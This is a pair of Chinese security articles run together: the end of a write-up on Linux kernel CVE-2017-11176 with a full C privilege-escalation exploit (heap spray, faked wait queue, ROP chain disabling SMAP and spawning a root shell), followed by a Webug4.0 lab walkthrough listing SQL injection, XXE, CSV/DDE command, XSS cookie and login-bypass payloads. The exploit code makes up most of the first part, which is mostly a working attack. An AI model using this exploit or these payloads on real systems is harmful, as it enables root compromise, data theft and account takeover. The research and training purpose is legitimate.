然后，它能阻塞的地方也很特别，在于`sock_alloc_send_pskb()`函数里，和在上文的`netlink_attachskb()`函数中不一样，它检验的是接收端的`sk_rcvbuf`，而此处它检验的是发送端的`sk_sndbuf`，最后也由`skb_set_owner_w()`函数来增加数据块大小，来达到阻塞的前提条件。从这点来看，虽然是不同函数，但内核逻辑思路还是统一的。
struct sk_buff *sock_alloc_send_pskb(struct sock *sk, unsigned long header_len,
unsigned long data_len, int noblock,
int *errcode, int max_page_order)
{
struct sk_buff *skb;
long timeo;
int err;
//timeo从这里赋值，如果sk->sndtimeo不为零即会得到阻塞时间值
timeo = sock_sndtimeo(sk, noblock);
for (;;) {
err = sock_error(sk);
if (err != 0)
goto failure;
err = -EPIPE;
if (sk->sk_shutdown & SEND_SHUTDOWN)
goto failure;
//@sk_sndbuf: size of send buffer in bytes
//如果得到数据块大小小于sk_sndbuf，仍然无法阻塞
if (sk_wmem_alloc_get(sk) < sk->sk_sndbuf)
break;
sk_set_bit(SOCKWQ_ASYNC_NOSPACE, sk);
set_bit(SOCK_NOSPACE, &sk->sk_socket->flags);
err = -EAGAIN;
if (!timeo)
goto failure;
if (signal_pending(current))
goto interrupted;
//到达此处后，阻塞开始
timeo = sock_wait_for_wmem(sk, timeo);
}
skb = alloc_skb_with_frags(header_len, data_len, max_page_order,
errcode, sk->sk_allocation);
if (skb)
skb_set_owner_w(skb, sk);
return skb;
interrupted:
err = sock_intr_errno(timeo);
failure:
*errcode = err;
return NULL;
}
刚刚已经得知了`unix_dgram_sendmsg()`函数如何走到阻塞的代码路径，现在剩下的问题是，如何设置`timeo`的值，因为一般`sk->sndtimeo`的值都为
0，这里将继续使用`setsockopt()`函数来设置。上文已经讲过了该函数的主要绕过点，这里关注对应参数下的特殊检验点。
//level选择是 SOL_SOCKET 值
int sock_setsockopt(struct socket *sock, int level, int optname,
char __user *optval, unsigned int optlen)
{
struct sock *sk = sock->sk;
int val;
int valbool;
struct linger ling;
int ret = 0;
/*
* Options without arguments
*/
if (optname == SO_BINDTODEVICE)
return sock_setbindtodevice(sk, optval, optlen);
if (optlen < sizeof(int))
return -EINVAL;
if (get_user(val, (int __user *)optval))
return -EFAULT;
//以上有很多检测点，但上文已经分析，就不再累述
valbool = val ? 1 : 0;
lock_sock(sk);
switch (optname) {
[...]
//当 optname 为 SO_SNDTIMEO 时，可以修改timeo，继续跟踪
case SO_SNDTIMEO:
ret = sock_set_timeout(&sk->sk_sndtimeo, optval, optlen);
break;
[...]
default:
ret = -ENOPROTOOPT;
break;
}
release_sock(sk);
return ret;
}
//其中的检查有点绕，但有简单办法就是结构体全置零，即可绕过
static int sock_set_timeout(long *timeo_p, char __user *optval, int optlen)
{
struct timeval tv;
//optlen不能小于struct timeval结构体大小
if (optlen < sizeof(tv))
return -EINVAL;
//用户态的struct timeval需要真实存在
if (copy_from_user(&tv, optval, sizeof(tv)))
return -EFAULT;
//tv.tv_usec需要大于等于0 ，又要小于USEC_PER_SEC
if (tv.tv_usec < 0 || tv.tv_usec >= USEC_PER_SEC)
return -EDOM;
//tv.tv_sec需要大于等于零
if (tv.tv_sec < 0) {
static int warned __read_mostly;
*timeo_p = 0;
if (warned < 10 && net_ratelimit()) {
warned++;
pr_info("%s: `%s' (pid %d) tries to set negative timeoutn",
__func__, current->comm, task_pid_nr(current));
}
return 0;
}
//timeo_p成功赋予最大时延
*timeo_p = MAX_SCHEDULE_TIMEOUT;
//俩者皆为0时，直接退出
if (tv.tv_sec == 0 && tv.tv_usec == 0)
return 0;
if (tv.tv_sec < (MAX_SCHEDULE_TIMEOUT/HZ - 1))
*timeo_p = tv.tv_sec * HZ + DIV_ROUND_UP(tv.tv_usec, USEC_PER_SEC / HZ);
return 0;
}
查阅网上资料，都介绍到这一步就算完成此模块，但我在真正调试时，发现还有保护需要绕过，网上版本比我低，所以或许没有此保护。
不过这也不是问题，找到对应函数，再一一绕过检验。
SYSCALL_DEFINE5(setsockopt, int, fd, int, level, int, optname,
char __user *, optval, int, optlen)
{
int err, fput_needed;
struct socket *sock;
if (optlen < 0)
return -EINVAL;
sock = sockfd_lookup_light(fd, &err, &fput_needed);
if (sock != NULL) {
//此处是个struct socket的安全检查函数
err = security_socket_setsockopt(sock, level, optname);
if (err)
goto out_put;
if (level == SOL_SOCKET)
err =
sock_setsockopt(sock, level, optname, optval,
optlen);
else
err =
sock->ops->setsockopt(sock, level, optname, optval,
optlen);
out_put:
fput_light(sock->file, fput_needed);
}
return err;
}
//这里是个内核hook函数，可以拿gdb跟踪下一步
int security_socket_setsockopt(struct socket *sock, int level, int optname)
{
return call_int_hook(socket_setsockopt, 0, sock, level, optname);
}
//gdb跟踪到此处，其中主要有sock_has_perm()函数检查校验
static int selinux_socket_setsockopt(struct socket *sock, int level, int optname)
{
int err;
//err为 0 即可绕过
err = sock_has_perm(sock->sk, SOCKET__SETOPT);
if (err)
return err;
return selinux_netlbl_socket_setsockopt(sock, level, optname);
}
//主要检查了struct sock里的sk->sk_security值来判断安全
static int sock_has_perm(struct sock *sk, u32 perms)
{
struct sk_security_struct *sksec = sk->sk_security;
struct common_audit_data ad;
struct lsm_network_audit net = {0,};
//SECINITSID_KERNEL值为 1 ，所以sksec->sid值必须为 1
if (sksec->sid == SECINITSID_KERNEL)
return 0;
ad.type = LSM_AUDIT_DATA_NET;
ad.u.net = &net;
ad.u.net->sk = sk;
return avc_has_perm(current_sid(), sksec->sid, sksec->sclass, perms,
&ad);
}
//由于无法找到其头文件，需要在利用代码中，构造对应结构体并且传值，其中用不到的结构体指针可以拿 void * 代替
struct sk_security_struct {
#ifdef CONFIG_NETLABEL
enum { /* NetLabel state */
NLBL_UNSET = 0,
NLBL_REQUIRE,
NLBL_LABELED,
NLBL_REQSKB,
NLBL_CONNLABELED,
} nlbl_state;
struct netlbl_lsm_secattr *nlbl_secattr; /* NetLabel sec attributes */
#endif
u32 sid; /* SID of this object */
u32 peer_sid; /* SID of peer */
u16 sclass; /* sock security class */
};
//只要sksec->nlbl_state为 0，即可通过此函数判断。
int selinux_netlbl_socket_setsockopt(struct socket *sock,
int level,
int optname)
{
int rc = 0;
struct sock *sk = sock->sk;
struct sk_security_struct *sksec = sk->sk_security;
struct netlbl_lsm_secattr secattr;
if (selinux_netlbl_option(level, optname) &&
(sksec->nlbl_state == NLBL_LABELED ||
sksec->nlbl_state == NLBL_CONNLABELED)) {
netlbl_secattr_init(&secattr);
lock_sock(sk);
/* call the netlabel function directly as we want to see the
* on-the-wire label that is assigned via the socket's options
* and not the cached netlabel/lsm attributes */
rc = netlbl_sock_getattr(sk, &secattr);
release_sock(sk);
if (rc == 0)
rc = -EACCES;
else if (rc == -ENOMSG)
rc = 0;
netlbl_secattr_destroy(&secattr);
}
return rc;
}
### 伪造等待队列
查看`struct netlink_sock`结构体，在非`sock`的延伸段，拥有`wait_queue_head_t
wait`的等待队列的成员，它可以决定对应`task`是否加入等待队列和如何被唤醒的行为，上文也有简单表述。
exp需要有个可控的函数指针，正好在等待队列里有个`func`成员函数指针，上面也提到唤醒流程就是通过它进行，而在填充原本的`struct
sock`内存块时，在对应位置伪造虚假的`wait_queue_t`结构，而在用户空间的`wait_queue_t`结构里填充虚假的`func`成员，最后进行唤醒这个伪造的等待队列节点。
struct netlink_sock {
/* struct sock has to be the first member of netlink_sock */
struct sock sk;
u32 portid;
u32 dst_portid;
u32 dst_group;
u32 flags;
u32 subscriptions;
u32 ngroups;
unsigned long *groups;
unsigned long state;
size_t max_recvmsg_len;
wait_queue_head_t wait;
bool bound;
bool cb_running;
struct netlink_callback cb;
struct mutex *cb_mutex;
struct mutex cb_def_mutex;
void (*netlink_rcv)(struct sk_buff *skb);
int (*netlink_bind)(struct net *net, int group);
void (*netlink_unbind)(struct net *net, int group);
struct module *module;
struct rhash_head node;
struct rcu_head rcu;
struct work_struct work;
};
//使用list_head创建的双向链表
struct __wait_queue_head {
spinlock_t lock;
struct list_head task_list;
};
typedef struct __wait_queue_head wait_queue_head_t;
在文章前面已经讲解了`list_head`的构造和`list_add`函数的添加过程。在等待队列唤醒时通过`list_for_each_entry_safe()`函数寻找，所以头部和节点的`struct
list_head`都要精心构造。
typedef struct __wait_queue wait_queue_t;
struct __wait_queue {
unsigned int flags;
void *private;
//需要可控的函数指针
wait_queue_func_t func;
struct list_head task_list;
};
static void __wake_up_common(wait_queue_head_t *q, unsigned int mode,
int nr_exclusive, int wake_flags, void *key)
{
wait_queue_t *curr, *next;
list_for_each_entry_safe(curr, next, &q->task_list, task_list) {
unsigned flags = curr->flags;
if (curr->func(curr, mode, wake_flags, key) &&
//节点flags需要等于WQ_FLAG_EXCLUSIVE，即1，并且没有其它task要唤醒
(flags & WQ_FLAG_EXCLUSIVE) && !--nr_exclusive)
break;
}
}
### 制造ROP链
刚刚仅仅控制了一个函数指针，远远不能够去控制栈来写rop链，这里有个小tip，当然很多文章都讲到过，交换esp和eXx（某个寄存器）的值，把栈迁移至eXx的值上，好处在于交换后的rsp值只有低32位，明显就落于用户空间，那就只要绕过了smap保护，就可以自己来控制。在此之前还有一步，就是去确定到底是哪个eXx可以被控制。
在用户空间构造的`struct wait_queue_t`，我用0xac来初始化，最后执行到`curr->func(curr, mode,
wake_flags, key)`时，可以清晰的看到寄存器RAX就是自己构造的`struct
wait_queue_t`，只要取该地址值的低32位就是对应的栈开始地址。
之后，可以用ROPgadget来获取gadget了，最好是一次性把gadget都写到一个文件中
ROPgadget --binary vmlinux > gadget
接着，构造rop链，与用户态构造不同的是，现在运行于内核态（ring0），在
`commit_creds(prepare_kernel_cred(0))`后，想要在用户态上运行程序，必须回退操作。这里结合交换 **GS**
的`swapgs`指令和返回中断原处`iretq`指令，可以将程序从ring0转换到ring3中，最后需要注意的是，在`swapgs`指令之后的`pop
rbp`需要填写一个可读的用户态地址，不然程序可能会换页错误。
pop rdi; ret
---
NULL
———————————
addr of
prepare_kernel_cred()
———————————
pop rdx; ret
———————————
addr of
commit_creds()
———————————
mov rdi, rax ;
call rdx
———————————
swapgs;
pop rbp; ret
———————————
有效的用户态地址
iretq;
———————————
system(“/bin/sh”)
———————————
CS
———————————
EFLAGS
———————————
RSP
———————————
SS
———————————
在这里出现了一个问题，我拿ropgadget去获取`iretq`的一个gadget时，虽然得到了一个，但是exp跑不出来，使用gdb调试时发现真实的地址值里存在的指令不正确，可能是运行时地址发生了变化。
所以，我先用pwntools工具查找到汇编指令在对应环境下的16进制编码。
接着在ida pro里查询对应的编码，因为是小字端，所以把指令倒过来填写搜索。
最后，在其中找到一个运行时也不会改变的地址，去进行rop链攻击，成功。
（最后exp删去一处结构，补上即可运行）
//gcc -O0 -pthread exploit-2017-11176.c
//linux 4.4.0
//commit afd2ff9b7e1b367172f18ba7f693dfb62bdcb2dc
#define _GNU_SOURCE
#include <stdio.h>
#include <mqueue.h>
#include <asm/types.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <linux/netlink.h>
#include <pthread.h>
#include <errno.h>
#include <sys/mman.h>
#include <stdbool.h>
#include <sys/ioctl.h>
#include <sys/un.h>
#include <asm/types.h>
#include <sched.h>
#define SOL_NETLINK 270
#define NOTIFY_COOKIE_LEN 32
#define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)
#define _socket(domain, type, protocol) syscall(__NR_socket, domain, type, protocol)
#define _setsockopt(fd, level, optname, optval, optlen) syscall(__NR_setsockopt, fd, level, optname, optval, optlen)
#define _dup(fd) syscall(__NR_dup, fd)
#define _close(fd) syscall(__NR_close, fd)
#define _bind(recv_fd, addr, len) syscall(__NR_bind, recv_fd, addr, len)
#define _sendmsg(sockfd, msg, flags) syscall(__NR_sendmsg, sockfd, msg ,flags)
#define _connect(sockfd, addr, addrlen) syscall(__NR_connect, sockfd, addr, addrlen)
#define _getpid() syscall(__NR_getpid)
#define _sched_setaffinity(pid, cpusetsize, mask) syscall(__NR_sched_setaffinity, pid, cpusetsize, mask)
typedef int __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)0xffffffff81074380;
_commit_creds commit_creds = (_commit_creds)0xffffffff81073ff0;
void get_root() {
commit_creds(prepare_kernel_cred(0));
}
size_t user_cs, user_ss, user_rflags, user_sp;
struct unblock_thread_arg {
int fd;
int unblock_fd;
bool ok;
};
void migrate_to_cpu0() {
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(0,&set);
if (_sched_setaffinity(_getpid(), sizeof(set), &set) == -1){
perror("sched_setaffinity wrong");
exit(-1);
}
}
int prepare(){
char iov_base[1024];
int send_fd = -1;
int recv_fd = -1;
int least_size = 0;
struct iovec iov;
iov.iov_base = iov_base;
iov.iov_len = sizeof(iov_base);
struct sockaddr_nl addr;
addr.nl_family = AF_NETLINK;
addr.nl_pid = 11;
addr.nl_groups = 0;
addr.nl_pad = 0;
struct msghdr msg;
msg.msg_name = &addr;
msg.msg_namelen = sizeof(addr);
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = NULL;
msg.msg_controllen = 0;
msg.msg_flags = 0;
puts("Start poc");
if ((send_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0 || (recv_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0){
perror("socket wrong");
exit(-1);
}
printf("send_fd:%d, recv_fd:%dn", send_fd, recv_fd);
while(_bind(recv_fd, (struct sockaddr*)&addr, sizeof(addr))){
perror("bind pid");
addr.nl_pid++;
}
if (_connect(send_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
perror("connect wrong");
exit(-1);
}
printf("netlink socket (nl_pid=%d)n",addr.nl_pid);
if (_setsockopt(recv_fd, SOL_SOCKET, SO_RCVBUF, &least_size, sizeof(least_size)) < 0)
perror("setsockopt wrong");
puts("REVBUF reduced");
while (_sendmsg(send_fd, &msg, MSG_DONTWAIT) > 0);
if (errno != EAGAIN){
perror("sendmsg wrong");
exit(-1);
}
puts("Flooding full");
_close(send_fd);
return recv_fd;
}
static void *unblock_thread(void *arg)
{
int optlen = sizeof(int);
int optval = 0x1000;
struct unblock_thread_arg *para = (struct unblock_thread_arg *) arg;
para->ok = true;
sleep(3);
printf("close sock_fd:%dn",para->fd);
_close(para->fd);
puts("start to unblock");
if (_setsockopt(para->unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &optval, optlen) < 0) {
perror("setsockopt wrong");
exit(-1);
}
puts("unblocked");
return NULL;
}
static int vuln(int fd,int unblock_fd)
{
struct unblock_thread_arg arg;
struct sigevent sigv;
pthread_t tid;
char user_buf[NOTIFY_COOKIE_LEN];
memset(&arg,0,sizeof(arg));
arg.ok = false;
arg.fd = fd;
arg.unblock_fd = unblock_fd;
if (pthread_create(&tid,NULL,unblock_thread,&arg) < 0)
{
perror("unblock thread create wrong");
exit(-1);
}
while(arg.ok == false);
printf("sock_fd:%d, unblock_fd:%dn", fd, unblock_fd);
memset(&sigv,0,sizeof(sigv));
sigv.sigev_signo = fd;
sigv.sigev_notify = SIGEV_THREAD;
sigv.sigev_value.sival_ptr = user_buf;
_mq_notify((mqd_t)-1,&sigv);
}
typedef int (*wait_queue_func_t)(void *wait, unsigned mode, int flags, void *key);
struct wait_queue_t
{
unsigned int flag;
void *private;
wait_queue_func_t func;
struct list_head task_list;
};
struct sk_security_struct {
enum { /* NetLabel state */
NLBL_UNSET = 0,
NLBL_REQUIRE,
NLBL_LABELED,
NLBL_REQSKB,
NLBL_CONNLABELED,
} nlbl_state;
void *nlbl_secattr; /* NetLabel sec attributes */
__u32 sid; /* SID of this object */
__u32 peer_sid; /* SID of peer */
__u16 sclass; /* sock security class */
};
void get_shell() {
system("/bin/sh");
}
struct spray_thread_arg
{
pthread_t tid;
int send_fd;
struct msghdr *msg;
int flag;
};
static void *heap_spray(void *arg)
{
struct spray_thread_arg *para = (struct spray_thread_arg *) arg;
puts("heap spray");
_sendmsg(para->send_fd, para->msg, para->flag);
puts("not block");
return NULL;
}
void exploit() {
int send_fd = -1;
int recv_fd = -1;
puts("Start exploit");
if ((send_fd = _socket(AF_UNIX, SOCK_DGRAM, 0)) < 0 || (recv_fd = _socket(AF_UNIX, SOCK_DGRAM, 0)) < 0){
perror("heap socket wrong");
exit(-1);
}
printf("heap: send_fd:%d, recv_fd:%dn", send_fd, recv_fd);
struct sockaddr_un ser;
ser.sun_family = AF_UNIX;
strcpy(ser.sun_path,"@addr");
ser.sun_path[0] = 0;
if (_bind(recv_fd, (struct sockaddr *)&ser, sizeof(ser)) < 0) {
perror("heap bind wrong");
exit(-1);
}
if (_connect(send_fd, (struct sockaddr *)&ser, sizeof(ser)) < 0) {
perror("heap connect wrong");
exit(-1);
}
puts("layout");
char buf[1024];
memset(buf, 0, sizeof(buf));
struct cmsghdr *pbuf;
pbuf = (struct cmsghdr *)buf;
pbuf->cmsg_len = sizeof(buf);
pbuf->cmsg_level = 0;
pbuf->cmsg_type = 1;
struct sk_security_struct secur;
memset(&secur, 0, sizeof(secur));
secur.sid = 1;
*(size_t *)((size_t)buf + 0x278) = (size_t)(&(secur));
struct wait_queue_t uwq;
memset(&uwq, 0xac, sizeof(uwq));
uwq.flag = 0x01;
uwq.func = (void *)0xffffffff8100008a; //xchg eax, esp ; ret
uwq.task_list.prev = (void *)&(uwq.task_list.next);
uwq.task_list.next = (void *)&(uwq.task_list.next);
printf("buf: %p, uwq: %pn", buf, &(uwq.task_list.next));
*(unsigned long *)((size_t)buf + 0x2f8) = (size_t)(&(uwq.task_list.next));//netlink_sock->wait->next
*(unsigned long *)((size_t)buf + 0x300) = (size_t)(&(uwq.task_list.next));//netlink_sock->wait->prev
struct iovec iov;
char iovbuf[10];
iov.iov_base = iovbuf;
iov.iov_len = sizeof(iovbuf);
struct msghdr msg;
memset(&msg, 0, sizeof(msg));
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
puts("distribute");
size_t *p = (size_t *)(((size_t)&uwq) & 0xffffffff);
printf("wait_queue_t: 0x%lxn",(size_t)&p);
mmap(p, 0x2000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
user_sp = (size_t)p;
size_t rop[30] = {0};
int r = 0;
rop[r++] = 0xffffffff8131e2ef; //pop rdi ; ret
rop[r++] = 0x6f0;
rop[r++] = 0xffffffff810464d4; //mov cr4, rdi ; pop rbp ; ret
rop[r++] = 0x0;
rop[r++] = (size_t)get_root;
rop[r++] = 0xffffffff810465b4; //swapgs ; pop rbp ; ret
rop[r++] = user_sp;
rop[r++] = 0xffffffff81034740; //iretq ;
rop[r++] = (size_t)get_shell;
rop[r++] = user_cs;
rop[r++] = user_rflags;
rop[r++] = user_sp;
rop[r++] = user_ss;
memcpy(p, rop, sizeof(rop));
struct timeval tv;
memset(&tv, 0, sizeof(tv));//tv_sec和tv_usec都为0
if (_setsockopt(send_fd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv))) {
perror("timeo setsockopt wrong");
exit(-1);
}
while(_sendmsg(send_fd, &msg, MSG_DONTWAIT) > 0);
if (errno != EAGAIN) {
perror("heap sendmsg wrong");
exit(-1);
}
puts("ready to spray");
msg.msg_control = buf;
msg.msg_controllen = sizeof(buf);
struct spray_thread_arg arg[20];
for (int i=0; i<15; i++) {
*(unsigned int *)((size_t)buf + 0x2c0) = 0x12345000+i;//netlink_sock->portid
*(unsigned long *)((size_t)buf + 0x2d8) = 0;//netlink_sock->groups
arg[i].send_fd = _dup(send_fd);
arg[i].flag = 0;
arg[i].msg = &msg;
if (pthread_create(&arg[i].tid, NULL, heap_spray, &arg) < 0) {
perror("heap pthread wrong");
exit(-1);
}
}
puts("spray ends");
}
void save_state() {
asm(
"movq %%cs, %0n"
"movq %%ss, %1n"
"pushfqn"
"popq %2n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)
:
:"memory"
);
}
int main()
{
migrate_to_cpu0();
int sock_fd1=0;
int sock_fd2=0;
int unblock_fd=0;
save_state();
if ((sock_fd1 = prepare()) < 0){
perror("sock_fd");
exit(-1);
}
sock_fd2 = _dup(sock_fd1);
unblock_fd = _dup(sock_fd1);
puts("dup succeed");
vuln(sock_fd1,unblock_fd);
vuln(sock_fd2,unblock_fd);
exploit();
sleep(5);
puts("fake wake");
int optval = 0x1000;
_setsockopt(unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &optval, sizeof(optval));
return 0;
}
## 参考链接
1. <https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part3.html>
2. <https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part4.html>
3. <https://www.cnblogs.com/Cqlismy/p/11359196.html>
## 团队信息
奇安信盘古石取证实验室，招收移动端漏洞研究人员和逆向工程师，坐标上海。
邮箱：[[email protected]](mailto:[email protected]) | 社区文章 |
# 14.Webug4.0靶场通关
## **显错注入**
首先整体浏览网站
注入点：
control/sqlinject/manifest_error.php?id=1
判断注入类型
输入: and 1=1 正常, 再输入: and 1=2 还正常, 排除数字型
输入单引号: ' 网页发生变化
输入’ -- q注释掉单引号,页面回显正常 则为字符型
判断字段数
构造payload：
' order by 3-- q
页面回显错误，而order by 2则回显正常，所以字段数为2
查找回显点
构造payload：
' union select 1,2 -- q
我们可以在2处得到我们想要的内容
查询数据库
' union select 1,database() -- q
为webug
查询所有数据库
' union select 1,group_concat(schema_name) from information_schema.schemata --q
为information_schema,mysql,performance_schema,webug,webug_sys,webug_width_byte
查询数据库webug中的表
' union select 1,group_concat(table_name) from information_schema.tables where
table_schema='webug' -- q
为data_crud,env_list,env_path,flag,sqlinjection,user,user_test
查看flag表的所有字段
' union select 1,group_concat(column_name) from information_schema.columns
where table_schema='webug' and table_name='flag'-- q
为id,flag
查看flag字段的内容
' union select 1,group_concat(flag) from flag-- q
为dfafdasfafdsadfa
## **布尔注入**
输入单引号: ' 网页发生变化
输入’ -- q注释掉单引号,页面回显正常 则为字符型
判断数据库长度为5
id=1' and length(database())=5--+
爆破数据库名字为webug
id=1' and ascii(substr(database(),1,1))=119 --+
判断当前数据库表数量为7
id=1' and (select count(*) from information_schema.tables where
table_schema=database())=7--+
判断第二张表，表名的长度为8
id=1' and (select length(table_name) from information_schema.tables where
table_schema=database() limit 1,1)=8--+
爆破第二张表表名 第一个字符的ascii码值：101
id=1' and ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 1,1),1,1))=101--+
爆破出8个ascii值为：101 110 118 95 108 105 115 116 解码为env_list
猜解env_list的字段数量为8
id=1' and (select count(column_name) from information_schema.columns where
table_name='env_list')=8--+
猜解env_list第一个列名字符长度为2
id=1' and (select length(column_name) from information_schema.columns where
table_name='env_list' limit 0,1)=2--+
猜解env_list第二个列名字符长度为7
id=1' and (select length(column_name) from information_schema.columns where
table_name='env_list' limit 1,1)=7--+
猜解env_list第五个列名字符长度
id=1' and (select length(column_name) from information_schema.columns where
table_name='env_list' limit 5,1)=7--+
爆破第五个列名,第一个字符的ascii为101
id=1' and ascii(substr((select column_name from information_schema.columns
where table_name='env_list' limit 5,1),1,1))=101--+
爆破第五个列名,第二个字符的ascii
id=1' and ascii(substr((select column_name from information_schema.columns
where table_name='env_list' limit 5,1),2,1))=110--+
爆破了7个字符，ascii码为101 110 118 70 108 97 103
解码后等于envFlag
猜解envFlag字段的记录为20
id=1' and (select count(envFlag) from env_list)=20--+
猜解envFlag字段第一条字段的字符数为16
id=1' and (select length(envFlag) from env_list limit 0,1)=16--+
猜解envFlag字段第二条字段有多少个字符
id=1' and (select length(envFlag) from env_list limit 1,1)=9--+
猜解flag
id=1' and ascii(substr((select envFlag from env_list limit 1,1),1,1))=102--+
id=1' and ascii(substr((select envFlag from env_list limit 1,1),2,1))=100--+
最终爆破完flag的ascii值：
102 100 115 97 102 115 100 102 97
解码为：
fdsafsdfa
## **延时注入**
延时注入语句和盲注的语句都类似，不过就是多了一个if语句去判断，如果正确或不正确都会返回相对应的响应时间。
可以看到我以下payload的规则：
1' and if(/*!上一关盲注语句*/,sleep(3),1)--+
出现延迟，说明存在注入
1' and sleep(3)--+
判断数据库字符长度
1' and if(length(database())=5,sleep(3),1)--+
爆破数据库名
1' and if(ascii(substr(database(),1,1))=119,sleep(3),1)--+
1' and if(ascii(substr(database(),2,1))=101,sleep(3),1)--+
判断当前数据库表数量
1' and if((select count(*) from information_schema.tables where
table_schema=database())=7,sleep(3),1)--+
判断第一张表，表名的长度
1' and if((select length(table_name) from information_schema.tables where
table_schema=database() limit 0,1)=9,sleep(3),1)--+
判断第二张表，表名的长度
1' and if((select length(table_name) from information_schema.tables where
table_schema=database() limit 1,1)=8,sleep(3),1)--+
爆破第二张表表名
第一个字符的ascii码值
1' and if(ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 1,1),1,1))=101,sleep(3),1)--+
第二个字符的ascii码值
1' and if(ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 1,1),2,1))=110,sleep(3),1)--+
猜解表有多少个字段
1' and if((select count(column_name) from information_schema.columns where
table_name='env_list')=8,sleep(3),1)--+
猜解表的第一个列名字符长度
1' and if((select length(column_name) from information_schema.columns where
table_name='env_list' limit 0,1)=2,sleep(3),1)--+
爆破第五个列名,第一个字符的ascii
1' and if(ascii(substr((select column_name from information_schema.columns
where table_name='env_list' limit 5,1),1,1))=101,sleep(3),1)--+
爆破第五个列名,第二个字符的ascii
猜解envFlag字段有多少条记录
1' and if((select count(envFlag) from env_list)=20,sleep(3),1)--+
猜解envFlag字段第三条字段有多少个字符（flag在第三条记录）
1' and if((select length(envFlag) from env_list limit 2,1)=9,sleep(3),1)--+
猜解flag
1' and if(ascii(substr((select envFlag from env_list limit
2,1),1,1))=103,sleep(3),1)--+
1' and if(ascii(substr((select envFlag from env_list limit
2,1),2,1))=102,sleep(3),1)--+
最后flag的ASCII码值为：
103 102 100 103 100 102 115 100 103
解码：
gfdgdfsdg
## **post注入**
首先整体浏览网页
搜索框可能存在注入点，burp抓包，构造payload：
1'
出现报错
构造payload：
1' or sleep(3)--+
页面出现延迟
剩下的操作和上一关一样 ，只需要将and改成or即可。
## **过滤注入**
同上，并没有过滤。
## **宽字节注入**
报错
id=1%df%27
如下
正常显示
id=1%df%27--+
如下
查看当前字段数，字段数为2
id=1%df%27 order by 2--+
如下
查看显示位
id=1%df%27 and 1=2 union select 1,2--+
我们可以在2处获得我们想要的内容
查看所有数据库
id=1%df%27%20and%201=2%20union%20select%201,concat(schema_name,0x7e)%20from%20information_schema.schemata--+
为information_schema~mysql~performance_schema~webug~webug_sys~webug_width_byte~
查看webug数据库下的所有表
id=1%df%27 and 1=2 union select 1,group_concat(table_name) from
information_schema.tables where table_schema=0x7765627567--+
为data_crud,env_list,env_path,flag,sqlinjection,user,user_test
查看env_list表下所有字段
id=1%df%27 and 1=2 union select 1,group_concat(column_name) from
information_schema.columns where table_name=0x656E765F6C697374--+
为id,envName,envDesc,envIntegration,delFlag,envFlag,level,type
查看flag
id=1%df%27 and 1=2 union select 1,envFlag from webug.env_list limit 5,1--+
为dfsadfsadfas
## **xxe注入**
整体浏览网站
因为是xxe注入，所以直接输入xml格式数据传输过去
<?xml version="1.0"?>
<helo>
<batch id="test">
<title>xxe</title>
<test>xxe test</test>
</batch>
</helo>
可以看到我们输入的内容会被显示出来，那么就代表xml代码能够被网站解析执行。
## **csv注入**
1、什么是csv注入？
CSV公式注入(CSV
Injection）是一种会造成巨大影响的攻击向量。攻击包含向恶意的EXCEL公式中注入可以输出或以CSV文件读取的参数。当在Excel中打开CSV文件时，文件会从CSV描述转变为原始的Excel格式，包括Excel提供的所有动态功能。在这个过程中，CSV中的所有Excel公式都会执行。当该函数有合法意图时，很易被滥用并允许恶意代码执行。
2.cvs注入的原理时是什么？
当输入一个公式，会被Excel自动运算并执行。而当你输入一个别的Excel本身不存在的功能时，Excel就会被微软的另一种机制：DDE机制调用。
3.什么是DDE？
DDE是一种动态数据交换机制（Dynamic Data
Exchange，DDE）。使用DDE通讯需要两个Windows应用程序，其中一个作为服务器处理信息，另外一个作为客户机从服务器获得信息。客户机应用程序向当前所激活的服务器应用程序发送一条消息请求信息，服务器应用程序根据该信息作出应答，从而实现两个程序之间的数据交换。
构造payload：
=cmd|' /C calc'!A0
在单元格中输入
按下回车键，会出现恶意提示
点击是，会弹出计算器
## **反射型xss**
整体浏览网页
可以看到1是我们可控制点
pyaload:
`id=1<script>alert(document.cookie)</script>`
成功弹窗
## **存储型xss**
整体浏览网页，可以看到最后有一个留言框
构造payload：
`<script>alert(document.cookie)</script>`
成功弹窗
## **万能密码登陆**
整体浏览网页
账号：admin
密码：' or '1'='1
## **DOM型xss**
打开靶场，可以看到输入框
构造payload：
`"required=" "><script>alert(document.cookie)</script><name="`
成功弹窗
## **过滤xss**
过滤了script字符
换个标签：
<img src=1 onerror=alert(document.cookie)>
成功弹窗
## **链接注入**
"链接注入"是修改站点内容的行为，其方式为将外部站点的 URL 嵌入其中，或将有易受攻击的站点中的脚本 的 URL 嵌入其中。将 URL
嵌入易受攻击的站点中，攻击者便能够以它为平台来启动对其他站点的攻击，以及攻击这个易受攻击的站点本身。
在这些可能的攻击中，有些需要用户在攻击期间登录站点。攻击者从这一易受攻击的站点本身启动这些攻击，成功的机会比较大，因为用户登录的可能性更大。
“链接注入”漏洞是用户输入清理不充分的结果，清理结果会在稍后的站点响应中返回给用户。攻击者能够将危险字符注入响应中，便能够嵌入 URL
及其他可能的内容修改。
整体浏览网页
构造payload：
id=<a href="http://baidu.com">baidu</a>
成功将百度嵌入到页面中
## **任意文件下载**
